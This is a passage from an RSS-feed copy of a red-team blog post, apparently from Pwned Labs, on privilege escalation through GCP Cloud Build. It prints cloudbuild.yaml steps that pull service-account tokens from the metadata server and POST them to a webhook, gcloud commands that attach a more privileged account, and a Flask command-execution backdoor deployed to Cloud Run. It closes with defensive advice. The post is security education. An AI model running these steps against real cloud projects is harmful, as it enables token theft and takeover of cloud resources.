 &lt;p style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;steps:&lt;br&gt;- name: 'ubuntu'&lt;br&gt;&amp;nbsp; entrypoint: 'bash'&lt;br&gt;&amp;nbsp; args:&lt;br&gt;&amp;nbsp; &amp;nbsp; - '-c'&lt;br&gt;&amp;nbsp; &amp;nbsp; - |&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; apt-get update &amp;amp;&amp;amp; apt-get install -y curl&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; # Retrieve the service account email&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; service_account_email=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email)&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if [ -z "$service_account_email" ]; then&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo "Failed to retrieve service account email."&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Send the service account email to the webhook&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; curl -X POST -H "Content-Type: application/json" -d '{"content":"Service account email: '"$service_account_email"'"}' YOUR_WEB_HOOK_URL_HERE&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; fi&lt;br&gt;- name: 'gcr.io/cloud-builders/docker'&lt;br&gt;&amp;nbsp; args: ['build', '-t', 'gcr.io/PROJECT-ID/IMAGE', '.']&lt;br&gt;- name: 'gcr.io/cloud-builders/docker'&lt;br&gt;&amp;nbsp; args: ['push', 'gcr.io/PROJECT-ID/IMAGE']&lt;br&gt;options:&lt;br&gt;&amp;nbsp; logging: CLOUD_LOGGING_ONLY&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;After checking our webhook, we see that we've extracted the service account email!&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-31-2024-03-25-38-9067-PM.png?width=767&amp;amp;height=70&amp;amp;name=image-png-May-31-2024-03-25-38-9067-PM.png" width="767" height="70" style="width: 767px; height: auto; max-width: 100%;"&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2&gt;&lt;span style="font-size: 28px;"&gt;Retrieving the OAuth Token &amp;nbsp;&#x1f511;&lt;/span&gt;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;We can make some changes to our &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;cloudbuild.yaml&lt;span style="font-size: 18px;"&gt;&lt;span style="color: #ec38bc;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt; file to retrieve the OAuth token of the service account.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;Example:&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;steps:&lt;br&gt;- name: 'ubuntu'&lt;br&gt;&amp;nbsp; entrypoint: 'bash'&lt;br&gt;&amp;nbsp; args:&lt;br&gt;&amp;nbsp; &amp;nbsp; - '-c'&lt;br&gt;&amp;nbsp; &amp;nbsp; - |&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; apt-get update &amp;amp;&amp;amp; apt-get install -y curl&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; access_token=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | grep -o '"access_token":"[^"]*' | sed 's/"access_token":"//')&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if [ -z "$access_token" ]; then&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo "Failed to retrieve access token."&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; curl -X POST -H "Content-Type: application/json" -d '{"content":"Here is the output from the previous command:\n```'"$access_token"'```"}' YOUR_WEB_HOOK_URL&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; fi&lt;br&gt;- name: 'gcr.io/cloud-builders/docker'&lt;br&gt;&amp;nbsp; args: ['build', '-t', 'gcr.io/PROJECT-ID/Image', '.']&lt;br&gt;- name: 'gcr.io/cloud-builders/docker'&lt;br&gt;&amp;nbsp; args: ['push', 'gcr.io/PROJECT-ID/IMAGE']&lt;br&gt;options:&lt;br&gt;&amp;nbsp; logging: CLOUD_LOGGING_ONLY&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;br&gt;Nice! We successfully stole the OAuth token of the Cloud Build service account.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-31-2024-03-31-28-7407-PM.png?width=1211&amp;amp;height=271&amp;amp;name=image-png-May-31-2024-03-31-28-7407-PM.png" width="1211" height="271"&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 28px;"&gt;&amp;nbsp;&lt;/h2&gt; 
 &lt;h2 style="font-size: 28px;"&gt;Leveraging the Cloud Build Service Account &amp;nbsp;&#x1f6e0;️&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;If our Cloud Build service account has the &lt;code&gt;cloudbuild.builds.create&lt;/code&gt; permission, we can abuse it to create another cloud build trigger and attach a different, more privileged Cloud Build service account.&amp;nbsp;&lt;br&gt;&lt;br&gt;Example:&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;gcloud beta builds triggers create cloud-source-repositories \&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;&amp;nbsp; --name="malicious-trigger" \&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;&amp;nbsp; --repo="gr-cdesk" \&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;&amp;nbsp; --branch-pattern="^main$" \&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;&amp;nbsp; --build-config="cloudbuild.yaml" \&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;&amp;nbsp; --service-account="more-privileged-sa@gr-proj-2.iam.gserviceaccount.com" \&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-weight: normal; font-size: 16px;"&gt;&amp;nbsp; --project="gr-proj-2"&lt;/span&gt;&lt;/code&gt;&lt;span style="font-weight: bold;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br&gt;Note&lt;/span&gt;: It's not possible to attach just any service account, i.e. a attempting to attach a service account that doesn't have the Cloud Build service account role will not work.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;We can now create another malicious &lt;code&gt;cloudbuild.yaml&lt;/code&gt; file and steal the OAuth token of the new more privileges service account.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 28px;"&gt;Further Escalation ⬆️&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;If the newly acquired service account holds the authority to deploy services in GCP, like Cloud Run or App Engine, we can exploit this privilege to connect any service account in the GCP project to the deployed service. Subsequently, we can implement a backdoor within the service to pilfer its OAuth token.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;In our case, the service account ( &lt;span style="font-size: 20px;"&gt;&lt;code&gt;more-privileged-sa@gr-proj-2.iam.gserviceaccount.com&lt;/code&gt;&lt;/span&gt; ) has permission to create and deploy Cloud Run. We will now abuse the permission to create Cloud Run with our own backdoored Docker image.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;The sample python backdoor below will print the OAuth token of service account attached to Cloud Run.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;from flask import Flask, request, Response&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;i&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;mport subprocess&lt;br&gt;&lt;br&gt;app = Flask(__name__)&lt;br&gt;&lt;br&gt;# Define basic authentication credentials&lt;br&gt;USERNAME = 'MYUSERNAME'&lt;br&gt;PASSWORD = 'MySUpErSecUreP@sSW0rd'&lt;br&gt;&lt;br&gt;@app.route('/get-access-token', methods=['GET'])&lt;br&gt;def get_access_token():&lt;br&gt;&amp;nbsp; &amp;nbsp; auth = request.authorization&lt;br&gt;&amp;nbsp; &amp;nbsp; # Check if authorization information is provided&lt;br&gt;&amp;nbsp; &amp;nbsp; if auth is None:&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'})&lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp; &amp;nbsp; # Check if the username and password are correct&lt;br&gt;&amp;nbsp; &amp;nbsp; if not (auth.username == USERNAME and auth.password == PASSWORD):&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'})&lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp; &amp;nbsp; # Get the curl command from the request query parameters&lt;br&gt;&amp;nbsp; &amp;nbsp; curl_command = request.args.get('curl_command')&lt;br&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp; &amp;nbsp; # Execute the command&lt;br&gt;&amp;nbsp; &amp;nbsp; try:&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; result = subprocess.check_output(curl_command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return result&lt;br&gt;&amp;nbsp; &amp;nbsp; except subprocess.CalledProcessError as e:&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return f'Error executing curl command: {e.output}', 400&lt;br&gt;&lt;br&gt;if __name__ == '__main__':&lt;br&gt;&amp;nbsp; &amp;nbsp; app.run(debug=True, host='0.0.0.0', port=8080)&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now we can create a Docker container containing our custom backdoored code and push it to Artifact Registry. You can follow the official documentation for guidance on creating and pushing a Docker image to &lt;a href="https://cloud.google.com/artifact-registry/docs/docker/pushing-and-pulling"&gt;Artifact Registry&lt;/a&gt;.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;We can create and deploy a Cloud Run instance with our malicious Docker image and attach a service account of our choosing.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 20px;"&gt;&lt;code&gt;gcloud run deploy backdoor-run --image gcr.io/gr-proj-2/mal-docker:latest --service-account=secret-manager-sa@gr-proj-2.iam.gserviceaccount.com --project=gr-proj-2&lt;/code&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now we can try to access our backdoor and get the OAuth token of attached service account!&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-31-2024-04-30-46-8804-PM.png?width=800&amp;amp;height=165&amp;amp;name=image-png-May-31-2024-04-30-46-8804-PM.png" width="800" height="165" style="width: 800px; height: auto; max-width: 100%;"&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Using this technique we're be able to steal OAuth token of "any" service account in a GCP project and move laterally and vertically in the environment.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2&gt;Defense &#x1f6e1;️&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;We should always adhere to the principle of least privilege wherever feasible. In this scenario, an attacker with write permissions on a source repository connected to Cloud Build was able to exfiltrate the OAuth token of the associated service account. As defenders, we can disrupt this entire attack chain by implementing manual approval for Cloud Build triggers and ensuring that the service account authorized for manual approval is distinct. It's crucial to use custom-created roles with only necessary permissions to perform the task. In our case, having the permission to create Cloud Build triggers was unnecessary and should be revoked if not needed. Additionally, as defenders, we should implement proper monitoring to detect and respond to malicious activities within GCP.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px;"&gt;Reporting the issue&amp;nbsp; ☎️&lt;/h2&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;I reported this to Google and they responded that this is a by-design feature.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-31-2024-04-32-56-1300-PM.png?width=797&amp;amp;height=247&amp;amp;name=image-png-May-31-2024-04-32-56-1300-PM.png" width="797" height="247" style="width: 797px; height: auto; max-width: 100%;"&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2&gt;Bottom Line&lt;/h2&gt; 
 &lt;p&gt;If an attacker gains write access to a source repository connected to GCP Cloud Build, they can modify the cloudbuild.yaml to exfiltrate the build service account's OAuth token via the metadata endpoint. From there, they can chain privileges -&amp;nbsp;creating new triggers with more powerful service accounts, deploying backdoored Cloud Run services, and ultimately stealing tokens for any service account in the project. Google considers this by-design behavior, which makes proactive defense (least privilege, manual build approvals, monitoring) essential. The core lesson: treat CI/CD pipeline access as equivalent to broad cloud infrastructure access.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px;"&gt;Further reading&amp;nbsp; &#x1f4d6;&lt;/h2&gt; 
&lt;/div&gt; 
&lt;p style="padding-left: 40px;"&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;1. &lt;a href="https://orca.security/resources/blog/bad-build-google-cloud-build-potential-supply-chain-attack-vulnerability/"&gt;Bad.Build: A Critical Privilege Escalation Design Flaw in Google Cloud Build Enables a Supply Chain Attack&lt;/a&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;2. &lt;a href="https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/"&gt;Working-As-Intended: RCE TO IAM Privilege Escalation in GCP Cloud Build&lt;/a&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;3. &lt;a href="https://cloud.google.com/blog/products/devops-sre/devsecops-and-cicd-using-google-cloud-built-in-services"&gt;Building a secure CI/CD pipeline using Google Cloud built-in services&lt;/a&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;That's a wrap for this blog post! I hope you found it insightful and engaging. Stay tuned for an upcoming lab on this attack vector on Pwned Labs - it's going to be a hands-on experience worth trying out!&lt;/span&gt;&lt;/p&gt;  
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fexploiting-gcp-cloud-build-for-privilege-escalation&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>Red Team</category>
      <category>GCP</category>
      <category>cloud build</category>
      <pubDate>Thu, 20 Jun 2024 13:26:50 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/exploiting-gcp-cloud-build-for-privilege-escalation</guid>
      <dc:date>2024-06-20T13:26:50Z</dc:date>
      <dc:creator>Ayush Singh</dc:creator>
    </item>
  </channel>
</rss>
